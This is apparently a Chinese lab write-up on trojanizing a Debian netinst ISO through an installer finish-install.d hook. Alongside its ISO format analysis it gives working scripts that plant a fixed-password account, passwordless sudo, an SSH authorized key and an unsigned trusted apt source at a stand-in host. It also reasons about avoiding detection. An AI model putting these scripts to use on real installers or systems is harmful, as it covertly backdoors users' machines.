iso投毒这个确实非常老了,但是也并不只是办公场景供应链攻击,像装机工具与PE生态这类一键装机工具本身就是一个分发层,用户下的ISO是干净的,但是装机工具在写入U盘过程中自己加料,一般通过网友来说ISO和装机工具其实是一个东西(银狐并感
下载站与装机版镜像这类简中互联网独有的也不用赘诉了。。。封装系统在镜像里预装全家桶软件,然后网站按装机量向软件商分钱
拿到ISO之后,一般人实际是不验证哈希的,能打开能装上就是好的,能选择装机版镜像的动机就是预装驱动/预激活/预装常用软件,系统里有我不认识的东西本来就是白嫖的预期,加个账户的手法放在这个用户预期里,连被发现的机会都无。
而且大家都坚信刚装的系统是最干净的
下的是netinst,有install.amd目录结构就可以

外层是ISO9660文件系统和引导记录,这里就是负责怎么启动,BIOS/UEFI找到isolinux或者GRUB,加载内核和initrd,这一层只是运输包装不写在这里。
中层是内核+initrd.gz,安装器的本体就在这里,Linux安装程序是内核启动后把initrd.gz解压到内存,形成一个完整的内存根文件系统,安装器就跑在这个RAM系统里。
initrd.gz的结构是两层套,gzip压缩的cpio归档,所以操作就是脱掉gzip 外衣得到cpio包,然后把cpio展开成完整目录树,改东西就是按newc格式重新打包,这个是完全无损可逆的不需要破解私有结构。
Debian ISO里install.amd/gtk/initrd.gz是图形安装用的,install.amd/xen/initrd.gz是文本模式用的,两套安装器入口,所以要两个都替换。
为什么放在finish-install.d
啊我觉得这个理解成一个注定死亡的环境,如何把自己的恶意代码遗传给下一个系统(?
initrd.gz解开之后是一个完整的微型 Linux,但是它活在tmpfs上,整个根文件系统都在内存里,安装器从boot到reboot的全部世界,是这个RAM盘,只要断电重启就什么都不剩下了。
所以把木马丢进initrd根目录就等于把武器留在肯定会消失的地方,所以我们的恶意代码必须搭一艘船,从必死的安装器世界,渡过到相对意义上的的新系统世界,所以还需要在一个精确的时间窗口出现。
可以看一下其他方案, 比如pool/目录的deb软件包,但是实测的时候debootstrap装基础系统时会用initrd内嵌的debian-archive-keyring验证Release签名,改了包就得连密钥环一起改,多改一个基本上都会被发现,且如果安装时配置了网络镜像,软件包就从网上拉取了,我们毒化的pool根本不参与安装
第二个方案是改引导参数,用preseed/late_command,这是 d-i 的官方机制,功能上和 finish-install.d几乎等价,安装末尾以root执行任意命令,但是暴露面不行,因为引导命令行是明文可见的,所以按一下Tab就能看可疑参数。
方案三是直接改安装器组件的脚本,这个不赘诉了,毕竟都知道改主流程代码引入任何崩溃风险都是会被马上发现的。
所以需要满足三个硬约束:时机终态化、通道尚存、机制合规性,也就只有finish-install.d了,写入的内容像rc.local和新增账户这些属于新系统本体的文件,新系统首次启动时自然生效,不存在需要做某个额外动作才触发。
顺带恶补了一下被遗忘的扇区0–16,ISO是以2048字节扇区为单位的,我这个ISO是792723456字节,整除2048=387072个扇区
扇区 0–15:System Area isohybrid 把 MBR 塞在这里 扇区 16:Primary Volume Descriptor (PVD) 文件系统的”总目录元信息” 扇区 17:Boot Record(El Torito 的入口)/ Supplementary VD(Joliet) 扇区 18+:Volume Descriptor Set Terminator → Path Table → 目录记录 → 文件数据区
xxd -s $((16*2048)) -l 96 /mnt/f/iso/iso_lab/debian-13.7.0-amd64-netinst.iso
偏移0x8001处看到CD001,跟在后面的01表示这是PVD,再往下一屏就能看到卷标Debian13.7.0amd64
xxd -l 512
前512字节是System Area 里的 MBR,fdisk -l 一个 ISO 文件居然能列出分区表,就是因为它
fdisk -l /mnt/f/iso/iso_lab/debian-13.7.0-amd64-netinst.iso
所有这个文件有两张脸,取决于谁在读它的开头
El Torito
El Torito引导目录是一份引导镜像清单,存放在扇区17的Boot Record所指向的Boot Catalog里,Catalog中有三类条目:开头的Validation Entry是校验头仅用于确认目录本身有效,随后的Default Entry平台 ID为00(x86 BIOS),指向 isolinux.bin,以no-emulation模式加载,。
最后的Section Entry平台ID为EF指向 efi.img,就是UEFI引导镜像,上图在7-Zip中浏览ISO时看到的虚拟[BOOT]文件夹装的就是这两个引导镜像的本体。
有个细节是Boot Info Table,自己在写的时候isolinux.bin后标注的boot-info-table isohybrid-suitable,isolinux.bin从偏移8起嵌有一张56字节的数据表,记录着PVD扇区号/自身在镜像中的位置/长度与校验和。
isolinux正是靠这张表在裸盘上定位完整的ISO 9660文件系统,这也解释了为什么用xorriso的replay模式重建ISO时引导不会坏,文件重建后物理位置已经改变,replay会重新计算并改写这张表,表不更新引导会失败。
所以我们先做一个基本版的,做完之后再加内核模块
基本版iso
一个自带的helloworld.txt 一个shell脚本
chroot /target /usr/sbin/useradd -m -s /bin/bash labdemo
echo 'labdemo:LabDemo123!' | chroot /target /usr/sbin/chpasswd
echo "iso-lab reproduction marker" > /target/etc/lab-demo-marker
在新系统里创建用户labdemo,带家目录和bash shell然后给这个用户设密码LabDemo123!
记录下封装的坑
| drvfs不支持设备节点,解包后/dev变成普通文件,find target_text/dev -type c -o -type b | wc -l输出0,ls -l显示 console、null是普通文件 |
-rwxrwxrwx 1 qwq qwq 0 Sep 8 00:33 console
-rwxrwxrwx 1 qwq qwq 0 Sep 8 00:33 null
原始归档里它们是真字符设备:
crw-r--r-- 1 root root 5, 1 dev/console
crw-r--r-- 1 root root 1, 3 dev/null
让agent看了下是因为/mnt/f是WSL2的drvfs挂载,不暴露Unix设备节点能力,mknod无法落盘且drvfs默认不保存Unix权限,所有文件ls一律显示0777。直接回封的话这两个设备节点会被降级成普通文件,安装器就没有办法正常引导了。
所以解包时用了fakeroot -s <状态文件>,让akeroot把字符设备/major/minor/属主/权限记进状态库。状态文件>
如图,写完之后开始安装


tty里看helloworld.txt是成功写入的

安装完成之后如图,已经有了预设的账户,验证一下完成。
promax版
加一个sudoers免密规则&SSH公钥,还有让这台系统以后每次apt update都会去访问指定的地址,这里用114.514.1919替代
还是用的↑的骨架只是包裹变大,复用第一轮解好的文件树不重拆,替换90lab-demo为新的脚本,再fakeroot回封cpio,xorriso重建 lab2.iso。
v2hook
chroot /target /usr/sbin/useradd -m -s /bin/bash labdemo
echo 'labdemo:LabDemo123!' | chroot /target /usr/sbin/chpasswd
echo "iso-lab reproduction marker v2" > /target/etc/lab-demo-marker
echo 'labdemo ALL=(ALL:ALL) NOPASSWD: ALL' > /target/etc/sudoers.d/90-labdemo
chmod 0440 /target/etc/sudoers.d/90-labdemo
mkdir -p /target/home/labdemo/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPWArEgygTJKPjGDmZD9uaRye2+bGZFXExh3x3p4rVqd lab-round2' > /target/home/labdemo/.ssh/authorized_keys
chmod 700 /target/home/labdemo/.ssh
chmod 600 /target/home/labdemo/.ssh/authorized_keys
chroot /target /usr/sbin/chown -R labdemo:labdemo /home/labdemo/.ssh
echo 'deb [trusted=yes] http://114.514.1919:8000 stable main' > /target/etc/apt/sources.list.d/lab.list
if [ -x /target/usr/sbin/sshd ]; then
echo "sshd: present" >> /target/etc/lab-demo-marker
else
echo "sshd: absent" >> /target/etc/lab-demo-marker
fi
sudoers免密规则
echo 'labdemo ALL=(ALL:ALL) NOPASSWD: ALL' > /target/etc/sudoers.d/90-labdemo
chmod 0440 /target/etc/sudoers.d/90-labdemo
写入 /etc/sudoers.d/90-labdemo:sudoers的drop-in 片段,labdemo ALL=(ALL:ALL)
NOPASSWD: ALL:允许 labdemo 以任意用户/组身份执行任意命令,且免密。
sudoers对权限有硬性校验,0440 是标准值
SSH公钥投放
mkdir -p /target/home/labdemo/.ssh
echo '<公钥>' > /target/home/labdemo/.ssh/authorized_keys
chmod 700 /target/home/labdemo/.ssh
chmod 600 /target/home/labdemo/.ssh/authorized_keys
chroot /target /usr/sbin/chown -R labdemo:labdemo /home/labdemo/.ssh
建 .ssh目录把任务1生成的公钥写入 authorized_keys
自建源条目
echo 'deb [trusted=yes] http://114.514.1919:8000 stable main' > /target/etc/apt/sources.list.d/lab.list
写入apt源列表片段 lab.list指向 http://HOST_IP:8000。




